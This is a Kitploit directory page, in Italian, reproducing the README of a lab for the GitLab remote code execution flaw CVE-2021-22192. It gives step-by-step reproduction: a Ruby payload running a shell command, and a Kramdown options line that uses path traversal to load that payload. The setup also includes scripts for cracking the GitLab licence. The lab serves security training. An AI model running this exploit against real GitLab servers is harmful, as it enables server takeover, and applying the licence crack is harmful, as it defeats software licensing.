Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-22192 — CVE-2021-22192 Cyber Range: vulnerabilità RCE per utenti non autorizzati | Kitploit
Strumenti/GitHubGitHub/exp-docs/cve-2021-22192
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubexp-docs/cve-2021-22192

CVE-2021-22192

CVE-2021-22192 Cyber Range: vulnerabilità RCE per utenti non autorizzati

Vedi Repository
38433 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-22192

Laboratorio CVE-2021-22192: vulnerabilità RCE per utenti non autorizzati


0x10 Ambiente del laboratorio

0x20 Struttura delle directory

CVE-2021-22192
├── README.md ............... [此 README 说明]
├── imgs .................... [辅助 README 说明的图片]
├── gitlab .................. [Gitlab 容器的挂载目录]
│   ├── Dockerfile .......... [Gitlab 的 Docker 构建文件]
│   ├── config .............. [Gitlab 配置挂载目录]
│   ├── data ................ [Gitlab 数据挂载目录]
│   ├── logs ................ [Gitlab 日志挂载目录]
│   ├── keys ................ [Gitlab 破解 License 存储目录]
│   └── nginx ............... [Gitlab 内置 nginx 配置目录(备份配置,勿改)]
├── runner .................. [Gitlab 容器的挂载目录]
├── license ................. [破解 License 的容器构建目录]
│   ├── Dockerfile .......... [License 的 Docker 构建文件]
│   └── license.rb .......... [生成破解 License 的 Ruby 脚本]
├── test .................... [Kramdown 调试目录]
├── docker-compose.yml ...... [Docker 的构建配置]
├── keygen.ps1 .............. [Windows: 一键生成破解 License]
├── keygen.sh ............... [Linux:   一键生成破解 License]
├── run.ps1 ................. [Windows: 一键运行 Gitlab 靶场]
├── run.sh .................. [Linux:   一键运行 Gitlab 靶场]
├── register.ps1 ............ [Windows: 一键注册 Runner]
├── register.sh ............. [Linux:   一键注册 Runner]
├── stop.ps1 ................ [Windows: 一键停止 Gitlab 靶场]
└── stop.sh ................. [Linux:   一键停止 Gitlab 靶场]

0x30 Allestimento del laboratorio

0x31 Costruzione

  • Sull'host devono essere preinstallati docker e docker-compose
  • Scarica questo repository: git clone https://github.com/lyy289065406/CVE-2021-22192
  • Genera la coppia di chiavi per il crack: ./keygen.sh oppure ./keygen.ps1
  • Costruisci ed esegui Gitlab (assicurati che la porta 80 sia libera): ./run.sh oppure ./run.ps1
  • Dopo circa 5 minuti puoi accedere a Gitlab dal browser: http://127.0.0.1 (al primo accesso è necessario reimpostare la password dell'account amministratore root)

0x32 Crack

Quando in precedenza hai generato la coppia di chiavi per il crack, la chiave pubblica è già stata scritta nel backend del container Gitlab; ora devi caricare la chiave privata tramite il frontend per completare il crack:

  • La coppia di chiavi viene generata nella directory ./gitlab/keys/; copia il contenuto di .gitlab-license (la chiave privata)
  • Apri la pagina http://127.0.0.1/admin/license/new con l'utente root
  • Seleziona Enter license key, incolla la chiave privata e clicca il pulsante Upload license per completare il crack

0x33 Configurazione del Runner

  • Apri la pagina http://127.0.0.1/admin/runners con l'utente root
  • Individua il registration token e copialo
  • Registra il Runner: ./register.sh $TOKEN oppure ./register.ps1 $TOKEN

A questo punto tutti i Repository possono usare questo Runner per eseguire script CI (Pipeline Jobs)

0x34 Accesso a Gitlab Pages

Supponendo che il tuo nome utente Gitlab sia ${username} e il nome del repository sia ${repository_name}, quando il repository ha già generato con successo un SSG tramite jekyll, ti basta visitare il seguente URL:

http://127.0.0.1:8000/${username}/${repository_name}/public/

0x40 Verifica del laboratorio

Per il processo dettagliato fare riferimento a hackerone.

  1. Con un qualsiasi utente, clicca su + -> New snippet in alto
  2. Title può essere compilato a piacere; clicca sul campo di input Description (optional), quindi su Attach a file e carica un file chiamato payload.rb con il seguente contenuto:
puts "hello from ruby"
`echo exp was here > /tmp/exp`

A questo punto Description (optional) mostrerà il link al file, ad esempio: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/master/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb); il file è stato anche caricato nel container docker_gitlab in /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb. (Quanto a Create snippet, puoi cliccarlo o meno; basta ricordare l'Hash di questo percorso del file)

Nota: non usare Snippet -> New snippet dalla barra laterale sinistra di un repository, altrimenti il percorso del file restituito sarà [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/master/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb); di fatto il percorso di caricamento nel container docker_gitlab diventerà /var/opt/gitlab/gitlab-rails/uploads/@hash/随机字符串/payload.rb. Poiché è presente una stringa casuale in mezzo, è difficile da sfruttare.

  1. Clicca su + New Project in alto, assegna un nome a piacere (ad esempio poc, oppure non crearne uno e usa un repository esistente)
  2. Clicca su Wiki nella barra laterale sinistra, quindi su Create your first page
  3. Compila Title e Content a piacere e clicca su Create page
  4. A questo punto Gitlab genererà il repository wiki del repository poc, chiamato poc.wiki (cliccando su Clone repository in alto a destra puoi trovare il comando clone: git clone http://127.0.0.1/root/poc.wiki.git).
  5. Nel terminale locale esegui il comando git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki per scaricare il repository wiki in locale
  6. Nella directory principale del repository wiki aggiungi un file chiamato page1.rmd con il seguente contenuto (nota: l'Hash nel percorso del file va sostituito con quello ottenuto in precedenza):
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
  1. Esegui il comando per inviare il file a Gitlab: git add -A . && git commit -m "page1.rmd" && git push
  2. Torna alla pagina precedente Gitlab Wiki, aggiorna; nella barra degli indici a destra vedrai la pagina page1 creata localmente, cliccaci sopra
  3. Dopo che la pagina ha mostrato il contenuto, accedi al container docker_gitlab e potrai trovare il file /tmp/exp creato

Dopo aver cliccato sulla pagina page1.rmd, in realtà puoi vedere il messaggio di errore in gitlab/logs/gitlab-rails/exceptions_json.log, ma ciò non impedisce che il comando sia stato eseguito:

Scarica lo strumento